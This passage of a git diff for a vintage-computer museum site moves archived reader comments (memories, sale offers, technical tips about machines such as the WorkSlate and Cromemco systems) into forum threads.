everywhere, hence the key name. - - Mine still works but boy is it slow. - - author: Robbie Fields (Phuket, Thailand) - date: Sunday 20th May 2012 - text: |- - The Workslate was my second computing device, the first being a Tomy (toy) computer which allowed rudimentary Basic programming and little else. - - I bought it cheap in 1984 and used it extensively for a couple of years until I replaced it with another orphan, the Pied Piper, which was light years ahead on account of its 1.2 mB built in floppy drive and the ability to add an external one. - - As opposed to the so called portable Osborne, the Workslate was a marvel for its time, comparable to a netbook (my preferred device for the past 4 years) in terms of portability and also sufficient functionality. - - I used my WorkSlate as a remote terminal for EaasySabre, the Library of Congress and as a smart terminal for Western Union''s foray into document delivery which was a sensation at the time, years before FedEx also failed with a similar gambit. Instead of buying a crappy and expensive dot matrix printer, I used to send everything over the 300 baud modem and Western Union would print out contracts on laser printers that almost nobody else had at the time and mail to specified recipients. Yes, you could save a contract or 2 to the microcassette drive! - - author: Stephen Heinrichs (Dixon, CA USA) - date: Friday 9th March 2012 - text: |- - I first heard of the Workslate when it was on the cover of Mexhanics Illustrated. The following year, I purchased two of them for the company that I worked for. The outside representatives could use them to do calculations while at a customer''s location. No other portable computer existed that would allow this. I created several master spreadsheets that utilized the upgraded 50k memory. - - Due to the limited memory, I learned how to created a compact, efficient spreadsheet! As supurvisor, I kept one at my office and the other one was used by my only rep that i could trust with a computer at the time! Those two units, especially the one I used, were used up until 1992 to run the speacilaized spreadsheets I had created and maintained each year with updated information. - - When my position with the company was eliminated in 1992, the spreadsheets were recreated in Excel on a desktop computer and the Workslates left the cmpany with me. I supsequently sold one of them to a person in NY whose unit had died and he wanted to replace it for the speacialized application that he used his for. - - I still have the other one and the portatble printer that was made for it. It was a "spreadsheet in a box" and worked well for that application. And, yes, it had character! - - Thanks for the memories! - - author: Pioneer1962 (Minnesota, USA) - date: Tuesday 12th June 2007 - text: |- - Someone asked about determining the polarity of the NiCd battery for the Convergent Technologies Workslate. - - The NiCd battery I have is a WK-101 4.8 V 500mAh. It measures 4 1/16" X 1 1/4". As you view the battery there are a series of arrows on one side with the label "This side up". When oriented this way on a flat surface and the arrows pointing North (or away from you) the polarity markings are on the end toward you with "+" on the right and "-" on the left. There are no other polarity markings. The battery is made up of four 1.2 V cells connected in series. The end oppposite the end with the markings is open and and the cell ends are exposed with the "-" end of a cell on the right and the "+" end of another cell on the left. - - The AC adapter is supposed to charge the NiCd battery when the battery is installed in the Workslate. - - Hope this helps. - - \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\ - Computer Graphics Pioneer 1962 - - author: don baxter (US) - date: Saturday 23rd February 2019 - text: We have a Workslate also brand new and a micro printer brand new would like to sell both if anyone is interested.email me. - - author: Barb (USA) - date: Monday 27th June 2016 - text: I have one I purchased way back then, printer and all. It''s still one of the coolest computers ever made. It was very ahead of it''s time. One of the reason (IMO) that it failed was a lack of IBM PC compatibility. That was the direction everything was going, aside from MAC of course. Another cool computer of the time was the GRID. Good times... - - author: Jeffrey (USA) - date: Tuesday 3rd May 2016 - text: those of you growing up in the 80''s and watched the TV Show Airwolf with Jan-Michael Vincent and Ernest Borgnine, the show used this as a keyboard prop that Ernest used to type on when sitting in the back. In an episode of season 1 or two they do a quick 2 second shot of him typing and you''ll see it. - - author: Stephen (USA) - date: Monday 22nd September 2014 - text: Has anyone mentioned the problem with entering phone numbers with a "1" prefix? I suppose that was caused by the way of memory allocation. This problem may well have been the fatal flaw that caused the demise of this elegant device. - - author: J D Jimenez (California, USA) - date: Saturday 31st August 2013 - text: |- - We have a WorkSlate WK-100 and would like to find a new home for it, but don''t know value...It is still packed in original box...Can anyone give me a little information as to its approx. worth.. - - It does not have the Elect connect cord or back up battery, but tested with 4 AA batteries and it works...It has 1 WorkSlate micro cassette...It comes with Owner''s Manual, Reference Guide booklet, $ Exercise Workbook... - - Thanks for any information... - - author: Lorne Pine - date: Thursday 15th August 2013 - text: I have one for sale on Ebay as of Aug 15, 2013. - - author: Philippe Elie (Paris / France) - date: Saturday 3rd August 2013 - text: Hi Jason, thanks for your post. I am interested for your Workslate, I actually found one a couple of months ago but the display has died and I could not manage to fix it. Can you please me email me if you are willing to sell it so we agree on a price ? thanks and kind regards, Philippe - - author: Jason (USA) - date: Tuesday 23rd July 2013 - text: Ey I got one too printer and all I have no idea how much its worth but I know its very rare my dad worked for convergent back in the day but has passed so I dont know much more about - - author: Philippe Elie (Paris / France) - date: Tuesday 4th June 2013 - text: Hi Doug, sorry for the late reply. I am interested by your Workslate and its accessories. Can you please email me with the price you ask for it ? Thanks, Philippe - - author: Doug Alter (United States) - date: Monday 8th April 2013 - text: I have a Workslate with a printer and their soft covers, power supply, Reference guide, Owner''s manual, Exercise workbook, Sales Reporter , Teach me now $ Teach me later softwear programs, 11 micro cassettes and 4 rolls of Micro Printer paper . All this is new like condition $ packaging. I would be happy to part with this piece of computer history. - - author: Philippe Elie (Paris, France) - date: Sunday 31st March 2013 - text: I''m looking for a Convergent Technologies Workslate. If you have one you are willing to sell, let me know, thanks. - - author: Marc Bessler (USA) - date: Wednesday 20th June 2012 - text: |- - I have one of these I am looking to pass along to a good home. It is complete with the printer, hard case, cables, two packs of un-opened color ink styluses, and 9 tapes with programs, one or two even in the original shrink-wrap. - - It is basically in mint condition - although I have not had time to power it up. Also have a branded binder with the user manual for something called TransSlate which apparently is a method to tie the WorkSlate to an IBM server. - - I am not looking for any money other than the true cost of shipping. If interested, let me know! - - author: Bruce Haugland (US) - date: Tuesday 4th October 2011 - text: I used to work with CTOS machines. I remember that Convergent had shortened the name on the DoIt Key to Do by then. - - author: kknds (San Francisco, CA) - date: Friday 11th June 2010 - text: How great to get this info! So, I have one but am looking to sell ... anyone have ideas on how to do that or just eBay? Thanks - - author: Keith Scheuring (USA (Arizona)) - date: Sunday 6th June 2010 - text: I got one off of eBay a number of years ago. It was pretty cool but the memory was very limiting. I tried it as an answering machine. I regret getting rid of it now. - - author: Name (A land mass. earth) - date: Saturday 14th February 2009 - text: I gotta put that on my wish list - - author: Name (Aland, CountryWorld) - date: Saturday 14th February 2009 - text: I is so cool, I want one. - - author: Bob Schmitt (USA) - date: Thursday 10th July 2008 - text: The tape in the cassette would work as an answering machine, if I remember correctly. I had one. Check the manual for this function. - - author: Roger Sperberg (Montclair, NJ) - date: Sunday 29th January 2006 - text: |- - Back in 1982 or '83 I had a Sord IS-11, which had a 25x80 screen and a decent word-processing app. But when I got one of the remaindered Workslates -- was that '84? whenever the prices fell -- I sold the Sord to get the Workslate. The keyboard was pretty funky, and the word-processing made no sense whatsoever, which was not the best thing for a freelance writer, as I was at the time. - - But it had an aesthetic that I remember to this day. - - Actually though, I realized a little bit ago, after being reminded of this machine, that it had so many limitations in its vision that I've also lived many a year without thinking about it. Some of it -- the green and yellow labels popping off the black, the marketing by cool factor -- was timeless. But competency and utility from more mundane solutions is a good idea too. - - author: Bob Schmitt (USA) - date: Saturday 12th November 2005 - text: I first saw a Workslate when I was living in Hawaii - too expensive for me then. I later bought one from DAK (or similar "surplus outlet" store, probably for about $100. It was my second computer, after a Timex 1000. I really liked the 1-2-3 metaphor which helped me with contract pricing negotiations. I started lugging my original Compaq to those sessions and didn't use the Workslate, giving to a friend still in Hawaii. Wish I had kept it! I'll look for the original ad or receipts, which I probably still have. - - author: Jeffrey Kotte (USA) - date: Wednesday 25th May 2005 - text: I just received one of these from Wisconsin. I am also looking for the cable to connect the printer. I aquired this for a donation to a museum. - - author: Ken Clements (Los Gatos CA) - date: Friday 29th April 2005 - text: I have one of these and am looking for the cable for the RS232 interface, as well as any "Inside the Workslate" documentation. - - author: David Vaughn (USA) - date: Saturday 24th July 2004 - text: I acquired 4 of these devices while I was handling the MCI account for my company to utilize a then nacent MCImail application. It worked wonderfully, for those times, as a communication device to document correspondance. It was, if you will, the first PC like device acquired by my company. oc_id: 891 source: url: https://web.archive.org/web/20230608224140/http://www.old-computers.com/museum/computer.asp?c=891 diff --git a/content/museum/convex-computer-corp-c3800.md b/content/museum/convex-computer-corp-c3800.md index fad75b45..67d4cfd4 100644 --- a/content/museum/convex-computer-corp-c3800.md +++ b/content/museum/convex-computer-corp-c3800.md @@ -57,6 +57,7 @@ params: tabs: - photos - links + forum_thread: 957 photos: - title: 3800 CONFIGURATIONS subtitle: '' @@ -66,13 +67,6 @@ params: - title: ExConvex url: http://www.ex-convex.org/ text: Convex ex-employees mailing list (offline ?) - comments: - - author: Chuck Rose (USA) - date: Sunday 21st December 2014 - text: To think that a new modern graphics card like the top of the line Nvidia Quadro can carry out floating point math that will make this ''super computer'' look like Sinclair zx81! - - author: Chuck Rose (USA) - date: Sunday 21st December 2014 - text: To think that a new modern graphics card like the top of the line Nvidia Quadro can carry out floating point math that will make this ''super computer'' look like Sinclair zx81! oc_id: 983 source: url: https://web.archive.org/web/20230608160752/http://www.old-computers.com/museum/computer.asp?c=983 diff --git a/content/museum/corvus-systems-concept.md b/content/museum/corvus-systems-concept.md index 2dc47830..6f6a4df1 100644 --- a/content/museum/corvus-systems-concept.md +++ b/content/museum/corvus-systems-concept.md @@ -66,6 +66,7 @@ params: value: $4995 (256 KB) - $5995 (512 KB) tabs: - photos + forum_thread: 638 photos: - title: TWO CONCEPT'S AT WORK subtitle: '' @@ -74,34 +75,6 @@ params: Byte magazine image: /media/museum/photos/corvus_concept_system_2.jpg - comments: - - author: The Great Pretender - date: Saturday 4th February 2017 - text: |- - I surrender myself two the law! I did it! I stole a dirty filty pirated copy of "The Operating System" for The Corvus Concept Computer. - - I "Copied that Floppy", and then did an R$B dance to "The Police" station. And when I met with Captain Sting he said: "We are all just spirits in the material world." - - It''s just so tragic that I did not pay any pennies to Heaven because you see... - - "The Operating System" is no longer supported. The company that made it is out of business. The guy who wrote it is dead. And the sourcecode of the operating system is now available at www.computerhistory.org. Of course I am talking about Windoze 10, um I mean CP/M. - - author: Mike - date: Friday 18th May 2012 - text: |- - Hi Kirby! - - A guy called Curt is building a ''Corvus Systems Museum'' site and I''m sure he might be interested in your Corvus system manual... - - curt at atarimuseum dot com - - author: Kirby (USA) - date: Wednesday 14th March 2012 - text: I keep clearing out "junk" and finding strange things. Does anyone have a use for a 1980 Corvus Systems manual titled,"CORVUS UTILITIES FOR CP/M Reference $ Installation." It is 5.5" by 8.5" and spiral bound, approximately 100 pages. Let me know soon or it goes in recycle. - - author: peter sandilands (Australia) - date: Thursday 9th June 2011 - text: VRAM was mapped in main memory. So each pixel on screen was a bit in the main memory - - author: Cool (USA) - date: Tuesday 11th May 2004 - text: Wow, this thing is cool! It looks like an alto! oc_id: 653 source: url: https://web.archive.org/web/20230604051759/http://www.old-computers.com/museum/computer.asp?c=653 diff --git a/content/museum/cray-research-t3d.md b/content/museum/cray-research-t3d.md index 9e88d673..12dfe8b5 100644 --- a/content/museum/cray-research-t3d.md +++ b/content/museum/cray-research-t3d.md @@ -50,19 +50,7 @@ params: value: PSU and cabinet cooled by computer coolant fluid (3M Fluorinert) - label: PRICE value: Unknown - comments: - - author: Jimmothy Parr (canadian) - date: Tuesday 11th May 2021 - text: great PC! does it come with the guy? /gen - - author: Digby (Hong Kong) - date: Tuesday 11th May 2021 - text: i was born...! - - author: Yannis (Greece) - date: Wednesday 30th January 2013 - text: Twenty years later (2013) a computer of equivalent performance in GFLOPS would take up to sixteen average processors (eg. Core i3 \~ 3 GHz) to build. Obviously less than 2048 CPUs, but it shows that this machine can still be called a supercomputer in terms of performance, even twenty years after its production. - - author: jonjon (alabama) - date: Saturday 25th November 2006 - text: i worked with this computer and yes i hated it and when our company threw out or to get it to a refubishing company i bout it agin and it is in my basement but i like it now + forum_thread: 965 oc_id: 991 source: url: https://web.archive.org/web/20230529194852/http://www.old-computers.com/museum/computer.asp?c=991 diff --git a/content/museum/creative-technology-cubic-99.md b/content/museum/creative-technology-cubic-99.md index 0a58e450..8417b5ed 100644 --- a/content/museum/creative-technology-cubic-99.md +++ b/content/museum/creative-technology-cubic-99.md @@ -65,6 +65,7 @@ params: tabs: - photos - hardware + forum_thread: 579 photos: - title: 'SYSTEM PICTURE #1' subtitle: '' @@ -129,36 +130,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/creative_cubic99_fdcontroler_1.jpg - comments: - - author: cvxmelody - date: Wednesday 13rd November 2019 - text: |- - There is another Apple II clone from Singapore - the LINGO 128 by Limco Products. It has dual 6502/Z80 CPU, RGB, integrated parallel/serial etc. There are at least two models, I have the early one. (The later Mk II has a revised motherboard design, a different case, and requires separate ROM card for Applesoft and DOS 3.3 compatibility) Check out the video I made showing Lingo 128:-\ - https://youtu.be/I8h_bxqPsMw - - Unfortunately I don''t have the compatible detached keyboard, anyone want to sell me one??! Also how to enable the PAL composite colour output? - - author: Adam Yap (Singapore) - date: Wednesday 29th April 2015 - text: My father bought the Cubic99 in 1984. It was donated to Creative Technology''s heritage centre sometime in 2000. - - author: Tan Yong Lak (Siongapore) - date: Tuesday 25th November 2008 - text: |- - Hi,\ - Got Sim''s email ? Need schematics for the cubic 99 apple 2 clone in order to resurrect mine. My cubic99 dead but not buried. - - thks - - author: Paul (Singapore) - date: Friday 21st April 2006 - text: Yes, I know Patricia. She used to run the Cubic 99 User Club in Funan. I think she joined CANON after she left Creative. Not sure where she is now. Should be around 40 plus by now. - - author: Eddie Manuel (Singapore) - date: Wednesday 24th March 2004 - text: We need old computers of same model in bulk..... - - author: Eric Koh (Singapore) - date: Thursday 2nd October 2003 - text: |- - Got mine from Funan, Singapore.\ - The sales lady Patricia was hot!!!\ - Where r u now, Pat? oc_id: 590 source: url: https://web.archive.org/web/20230608215921/http://www.old-computers.com/museum/computer.asp?c=590 diff --git a/content/museum/cromemco-c10.md b/content/museum/cromemco-c10.md index db5b3f51..f724ab56 100644 --- a/content/museum/cromemco-c10.md +++ b/content/museum/cromemco-c10.md @@ -60,39 +60,12 @@ params: value: $1785 tabs: - adverts + forum_thread: 624 adverts: - title: FIRST C-10 AD subtitle: '' text: February 1983 image: /media/museum/pubs/cromemco_c10_pub_1.jpg - comments: - - author: Jerry Lopez (Alabama/USA) - date: Saturday 10th December 2011 - text: |- - I worked for Cromemco just before the\ - C10 was introduced. I ourchased one\ - and used it for a few years.\ - It had one Z80 cpu to run both the\ - video and the computer part.\ - It was shipped to run CDOS,\ - Cromemco''s version of C/PM.\ - Of course it could also run C/PM. - - It was used as a smart standalone\ - terminal and used with the larger\ - S-100 bus machines that ran CROMIX\ - the Unix look a like by Cromemco. - - author: CRAIG - date: Wednesday 20th July 2011 - text: At the time they were banking on a contract to sell the c-10 to the us post office. - - author: Pete Fenelon (UK) - date: Monday 29th December 2003 - text: |- - It was very difficult to tell what Cromemco were trying to achieve with the C10. They'd made their name as a vendor of beautifully-engineered S-100 "crate" systems with excellent graphics boards available, and then came out with this stunted little terminal-lookalike with no graphical abilities at all - just at the point that CP/M was dying. - - The good point was that the build quality was, by the standards of the day, superb - it was much nicer to use than (say) a Superbrain. It really seemed to be in competition with the Xerox 820, although its relatively low-profile looks probably made it a slightly easier sell into executive/professional environments than the horrible boxy 820... - - But what it was missing was Cromemco's wonderful colour graphics.... oc_id: 638 source: url: https://web.archive.org/web/20230604043552/http://www.old-computers.com/museum/computer.asp?c=638 diff --git a/content/museum/cromemco-system-i-ii-iii.md b/content/museum/cromemco-system-i-ii-iii.md index c96629c8..f79b29d7 100644 --- a/content/museum/cromemco-system-i-ii-iii.md +++ b/content/museum/cromemco-system-i-ii-iii.md @@ -45,6 +45,7 @@ params: tabs: - photos - adverts + forum_thread: 127 photos: - title: THE SYSTEM ONE CS-1H subtitle: '' @@ -135,22 +136,6 @@ params: subtitle: '' text: I couldn't resist putting this photo here. The girl looks very happy, the ad said "The new System III can be provided with walnut floor cabinet". image: /media/museum/pubs/cro_bural.jpg - comments: - - author: Ian Yoch (USA) - date: Sunday 27th November 2011 - text: |- - My first job was with Cromemco (employee $58).\ - The Cromix system shared 16KB between the 8 banks of 64kB max memory, it had the OS. Bank 0 had ??kB memory and the whole OS, banks 1-8 had the user 64k with 16k disabled or 16kB memory cards offset to 16kB and higher. Also came out with a 48KZ memory card so that nothing was wasted.\ - Fast since a lot of stuff was Z80 assembly.\ - The real hot sw was the 32kB structured BASIC. It had everything and was all assembly, it was stuffed into 32kB of 2116 EPROMs! So fast the business apps were written using it as I remember. You could run interpeted or complie the code.\ - Oh, Cromemco also had the first C sw on a micro. I rememeber compiling a ''Hello'' program and it was an incredible 5kB!!! Talk about memory hog!! He he, the old days back when you counted Bytes... - - author: Edward Kenny (Huntsville, AL (USA)) - date: Thursday 29th September 2011 - text: I upgraded a Cromemco System III in the early 1980''s for NASA. It used the MP/M O/S. We supported 6 users at one time with 6 terminals and 5 printers scattered among the secretaries for the division. I believe it had two hard drives. I believe there were 7 64KB memory cards. Each of the 6 users had 62KB of RAM dedicated to them. Wordstar was used by each secretary for word processing. It is amazing to think back how one Z80 CPU at 4MHz could support 6 people at one time each running Wordstar. - - author: Peter Harding (UK) - date: Sunday 1st May 2005 - text: Our Company used two Cromemco System IIIs and I bought an old Cromemco system personally. Both of the IIIs had twin 8" drives which eventually failed. We bought them in 1981/82 and kept them in use until about 1986/7 when we bought a Compaq 286 as a dedicated server (running Novell 2.0a.) with two Compaq PC/ATs as workstations running CP/M and MSDOS. The Cromemco systems had 4 16KB S100 ram boards and the other boards were processor, serial & parallel I/O & drive controller. Televideo terminals (monitors with attached keyboards) were used to interact with the system boxes. We ran CDOS (the Cromemco DOS) and CP/M as operating systems with Wordstar, Calcstar, Datastar and Supersort. I set up a rudimentary stock control and invoicing system using the application software. We also dabbled with an operating system called BOS and ran an accounting package under BOS. I also obtained a copy of Cromix which was a multiuser UNIX-like operating system but, without a hard disk, this was not - very successful. I believe we still have the system boxes on a pallet at the back of our warehouse and at some stage (when I retire?) I'll try to get it all working. oc_id: 113 source: url: https://web.archive.org/web/20230608161731/http://www.old-computers.com/museum/computer.asp?c=113 diff --git a/content/museum/cromemco-system-v.md b/content/museum/cromemco-system-v.md index 4e60bb1f..1fb711f8 100644 --- a/content/museum/cromemco-system-v.md +++ b/content/museum/cromemco-system-v.md @@ -58,10 +58,7 @@ params: value: Built-in power supply unit - label: PRICE value: Unknown - comments: - - author: IchyBorch!!! (Kentucky) - date: Tuesday 8th June 2004 - text: 'Try This Site for More Info: http://www.dantiques.com/computers/cromemco/100300.htm' + forum_thread: 352 oc_id: 348 source: url: https://web.archive.org/web/20230601091130/http://www.old-computers.com/museum/computer.asp?c=348 diff --git a/content/museum/cromemco-systeme-0.md b/content/museum/cromemco-systeme-0.md index 6b7c1b4a..bd3f792c 100644 --- a/content/museum/cromemco-systeme-0.md +++ b/content/museum/cromemco-systeme-0.md @@ -56,6 +56,7 @@ params: value: |- Basic System 0: $1200\ System 0/D: $4700 + forum_thread: 807 oc_id: 826 source: url: https://web.archive.org/web/20230529192055/http://www.old-computers.com/museum/computer.asp?c=826 diff --git a/content/museum/cromemco-z-1.md b/content/museum/cromemco-z-1.md index ee8990d2..322bcb3d 100644 --- a/content/museum/cromemco-z-1.md +++ b/content/museum/cromemco-z-1.md @@ -48,6 +48,7 @@ params: value: 'Basic version : $2495' tabs: - adverts + forum_thread: 536 adverts: - title: ADVERT subtitle: '' @@ -58,40 +59,6 @@ params: ...The Z-1 offers you all kinds of peripherals and softwares. It uses the standard ''S100'' bus supported by over a dozen manufacturers. And all Cromemco peripherals (PROM memory and programmer, Ram memory, analog I/O, color TV interface, etc) just plug into the Z1's sockets...\ ... The Z-1 comes completely assembled ans tested. It's a quality, commercial grade microcomputer. It is not available as a kit. image: /media/museum/pubs/cromemco_z1_pub_1.jpg - comments: - - author: david - date: Thursday 26th May 2022 - text: The computer in Wargames was a Wang, and it had an 8" disk drive, which these certainly didn''t, it was quite a callenge just to connect a hex keypad and a cassette recorder ! - - author: Martin (USA) - date: Tuesday 11th June 2019 - text: |- - The Z-1 had 3 significant changes from the Imsai 8080 upon which it was based: 1) The Motherboard was replaced with a Cromemco Blitz Bus (the rare version of this bus with the front connector offset to accept the front panel) 2) the CPU was replaced with the Cromemco ZPU, and 3) the film in the front panel was replaced with one that says Cromemco Z-1. - - The Blitz Bus was supposed to handle higher frequency better, to support the 4 MHz ZPU. - - On my Z-1, the fuse was relocated to the rear panel. I suspect this was also done by Cromemco when they created the Z-1, but I don''t have confirmation. - - author: Penguin - date: Tuesday 3rd February 2015 - text: Where''s the mouse? - - author: Tommy (...) - date: Tuesday 22nd November 2005 - text: |- - OPPS - - It was the IMSAI 8080 - - they look alike - - author: Tommy (playing halo on my pimped-out 386) - date: Tuesday 22nd November 2005 - text: |- - This is the computer from the movie War Games (1983) - - The company Cromemco is still building these\ - on there website, for 8bit programming needs\ - (they have some that run at 90 mhz) - - author: paul (uk) - date: Sunday 5th January 2003 - text: thought id post a msg while no one else has, n what an ugly weird thing oc_id: 542 source: url: https://web.archive.org/web/20230608222656/http://www.old-computers.com/museum/computer.asp?c=542 diff --git a/content/museum/cromemco-z-2.md b/content/museum/cromemco-z-2.md index 69df5c03..543b5ec5 100644 --- a/content/museum/cromemco-z-2.md +++ b/content/museum/cromemco-z-2.md @@ -52,6 +52,7 @@ params: - photos - adverts - hardware + forum_thread: 551 photos: - title: Z2D subtitle: '' @@ -91,38 +92,6 @@ params: 1979 price: $450 image: /media/museum/hardware/cromemco_singlecard_1.jpg - comments: - - author: Paul Hansknecht (United States) - date: Wednesday 24th October 2018 - text: 'OK, one last post: The Z-2H still required a floppy disk to boot up CP/M and get the whole thing started. Slow! I eventually figured out a way to use Cromemco''''s 32KB E-PROM board and their Bank Switching capability to temporarily swap in the E-PROM board, copy a CP/M image from it to RAM. switch the E-PROM board back out and jump to CP/M''''s startup address. Wow, startup was now instantaneous! I should have passed that technique back to Cromemco. :(' - - author: Paul Hansknecht (United States) - date: Wednesday 24th October 2018 - text: Oops, in my previous post, the Z-2H was announced in 1980, and we acquired one in early 1981, not 1971. - - author: Paul Hansknecht (United States) - date: Wednesday 24th October 2018 - text: I was the technical half of a two-man company in the 70s and early 80s. The other guy was the owner, the salesforce, and the money man. Our plan was to build turnkey systems for the "zillions of small companies that could profitably use a micro-computer but didn''t know it". So in the late 70s, we bought a Z-2D kit so I could get started. It had a 4MHz Z-80, 64KB of RAM, 2 DSDD 184KB floppy disk drives, and a Televideo 950(?) terminal! We equipped it with the Cromemco Assembler and their FORTRAN IV Compiler. It was a beast! But oh, those floppy disks! Constantly swapping them in and out... Put in the editor disk (WordStar?) to work on some program. Take it out and put in the Compiler. Take it out and put in the linker. Save the executable to a separate floppy Test it. Repeat till satisfied. We knew most businesses would have a hard time keeping their program and data disks straight, but that was the best we could do. Then in 1971, Cromemco announced the Z-2H! OMG, 10MB! We swooned - over the possibilities, and, unbelievably, the money man agreed to buy the add-on kit to convert our Z-2D to a Z-2H! We qualified as a Cromemco OEM at the time, so we got a 20$ or 25$ discount and paid a mere $7,500 (or something like that), and WOW! That completely changed the micro world! I could now "instantly" switch between an unlimited number of programs without touching a floppy disk! And that meant our customers could, too! This truly turned the microcomputer into a viable business solution overnight! - - author: Christopher Shubert (USA) - date: Monday 3rd April 2017 - text: |- - I sold "micros" in Atlanta from 1979-1981, and Cromemco was one of the machines we sold. It was a tough sell because, although the Z2 was plainly a quality machine, the prices were substantially higher than other Z100 CP/M machines. - - The one piece of Cromemco hardware I recall selling was the amazing 10MB hard drive. What a wonder that was - super fast, and super-huge, compared to the standard 512K double-sided 8" floppies! (Then again, the case for the hard drive was gigantic, as well: a full-bay 14" monster!) - - But oh, the price tag on that hard drive. $10,000! Yes, seriously, someone actually plunked down $10K for 10MB! The guy who bought it was thrilled with the response time and the vast amount of space, but compare $1,000 per megabyte with modern storage costs! - - author: Peter Fisk (Essex, England) - date: Friday 25th February 2011 - text: |- - I was part of a team that installed about six of these computers for use in the Health Service for word processing (Wordstar) and data capture. We wrote software to capture data about children''s vaccinations which could\ - then be sent via an accoustic modem to a mainframe system. The basic hardware was very reliable, but let down by unreliable external eight inch disk\ - floppy disk drives and poor quality modem links. The ''customers''\ - hated the data transmission but were happy to replace typewriters with Wordstar. A few lucky ones even got a daisywheel printer! - - author: GCG$3 (Bob) (Yorktown, VA) - date: Tuesday 27th April 2010 - text: I remember my excitement when we received our Z-2 during my senior year at El Capitan HS. We finally had an alternative to the school district''s HP2000F Time-Share system. My first project was to hack-together a Z80 version of Pong that I never got to work right. I was heart-broken when I heard it was stolen while I was away to Basic Training in 1979. - - author: david wright (louisville, kentucky) - date: Friday 18th February 2005 - text: In 1976 i was on the degsine team for this Cromemco Z2 system i had worked day and night i went without sleep for 15 days it was very very hard i had completed Cromemco Z2 system prototype but at a high price when we fired it up it blew up into a fire that destroyed my oc_id: 559 source: url: https://web.archive.org/web/20230528105430/http://www.old-computers.com/museum/computer.asp?c=559 diff --git a/content/museum/csirac.md b/content/museum/csirac.md index f7c223e6..4164fb99 100644 --- a/content/museum/csirac.md +++ b/content/museum/csirac.md @@ -44,29 +44,12 @@ params: value: 1024-word drum disk, Teletype tabs: - emulators + forum_thread: 1055 emulators: - title: CSIRAC Emulator url: http://www.csse.unimelb.edu.au/dept/about/csirac/emulator.html platform: Windows text: '' - comments: - - author: Erik N (Australia) - date: Thursday 22nd September 2011 - text: I remember first seeing this computer in the Melbourne Museum when I was only 3 - and I can remember all the lights flickering although it wasn''t turned on. If it had been, the Melbourne Museum''s circuit breakers would have all tripped. - - author: JBH (Australia) - date: Monday 13rd September 2010 - text: |- - Not so funny-one of the programmers who worked on it has developed an emulator! - - http://www.csse.unimelb.edu.au/dept/about/csirac/emulator.html - - It was also the first computer used to play music, believe it or not.... - - author: Sam (UK) - date: Thursday 5th May 2005 - text: Well, it might be interesting. - - author: Emuman (European union) - date: Friday 22nd April 2005 - text: What about emulator of this computer ? huh hah hah oc_id: 1085 source: url: https://web.archive.org/web/20230605042525/http://www.old-computers.com/museum/computer.asp?c=1085 diff --git a/content/museum/cw-p-cortex.md b/content/museum/cw-p-cortex.md index 49a1ce05..7aa6e9c6 100644 --- a/content/museum/cw-p-cortex.md +++ b/content/museum/cw-p-cortex.md @@ -66,6 +66,7 @@ params: value: £1795 (U.K., 1984) tabs: - adverts + forum_thread: 879 adverts: - title: U.K. AD. 1984 subtitle: '' diff --git a/content/museum/czerweny-cz-1000-plus.md b/content/museum/czerweny-cz-1000-plus.md index 5babd12c..7156db88 100644 --- a/content/museum/czerweny-cz-1000-plus.md +++ b/content/museum/czerweny-cz-1000-plus.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 905 photos: - title: CZ-1000 PLUS subtitle: '' diff --git a/content/museum/czerweny-cz-1000.md b/content/museum/czerweny-cz-1000.md index ae4fa842..0e4e8ac8 100644 --- a/content/museum/czerweny-cz-1000.md +++ b/content/museum/czerweny-cz-1000.md @@ -60,6 +60,7 @@ params: - emulators - links - docs + forum_thread: 902 photos: - title: CZ-1000 subtitle: '' @@ -228,13 +229,6 @@ params:  type of document : Online reader **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Diego Sapena Pastor (Argentina) - date: Monday 14th February 2011 - text: As quoted by Marcelo, you could attach 16kb of extra RAM, but the price you had to pay for it (apart from the money, ''cause it was pretty expensive) was an increased reset time and a desperating slow response time when typing BASIC programs. Other drawbacks were it''s slow transfer rate cassette interface, it''s alarming high working temperature and the fact that many IC''s of the previous ZX80 were replaced by the Ferranti''s ULA (cost-saving idea) yielding the computer useless and repairless if you had it wrong, unless, of course, you could "cannibalizate" another one! Nevertheless, it was for us at that time, an adorable tiny self-contained computer with which we learnt BASIC and Z80 code in an inexpensive way! - - author: Marcelo O. Garcia (Hearth) - date: Monday 25th September 2006 - text: I owned in the 80's (and still do) a CZ-1000, which is exactly the same as you show in your record, and had 2 Kb of RAM memory. I would add that at that at that time it was also possible to buy a RAM memory expansor, which connected to the CZ-1000 from behind. It featured 16 Kb of memory, which was "a lot" for that that time standards. related: - /museum/czerweny-cz-1000-plus - /museum/lambda-electronics-ltd-pc-8300 diff --git a/content/museum/czerweny-cz-2000.md b/content/museum/czerweny-cz-2000.md index 2b1c2ffd..6cc11da6 100644 --- a/content/museum/czerweny-cz-2000.md +++ b/content/museum/czerweny-cz-2000.md @@ -64,6 +64,7 @@ params: - emulators - links - docs + forum_thread: 892 photos: - title: CZ-2000 subtitle: '' @@ -522,16 +523,6 @@ params:  type of document : HTML\  source : [The Lil Old Sinclair Computer Technical Information Repository](http://members.lycos.co.uk/eightbitula/) - comments: - - author: Néstor (Argentina) - date: Sunday 15th August 2010 - text: |- - My first computer!\ - It came with a very complete manual.\ - I still have it... and it works fine! - - author: Jose Maria (Earth) - date: Tuesday 10th November 2009 - text: Year of czerweny cz2000 was 1985 i bougth it in 1985. It was my first computer!! related: - /museum/czerweny-spectrum - /museum/czerweny-spectrum-plus diff --git a/content/museum/czerweny-spectrum-plus.md b/content/museum/czerweny-spectrum-plus.md index d54f9e7e..0237a60d 100644 --- a/content/museum/czerweny-spectrum-plus.md +++ b/content/museum/czerweny-spectrum-plus.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 911 photos: - title: SPECTRUM PLUS subtitle: '' diff --git a/content/museum/czerweny-spectrum.md b/content/museum/czerweny-spectrum.md index 154480a0..3cadf977 100644 --- a/content/museum/czerweny-spectrum.md +++ b/content/museum/czerweny-spectrum.md @@ -66,6 +66,7 @@ params: - emulators - links - docs + forum_thread: 925 photos: - title: ANOTHER VIEW subtitle: '' @@ -565,17 +566,6 @@ params:  type of document : HTML\  source : [The Lil Old Sinclair Computer Technical Information Repository](http://members.lycos.co.uk/eightbitula/) - comments: - - author: rj (ulster uk) - date: Tuesday 22nd November 2011 - text: |- - http://www.youtube.com/watch?v$EmwW_6kUdHw - - please post this link to youtube\ - hope yu can find your way to the real great sam sites on the 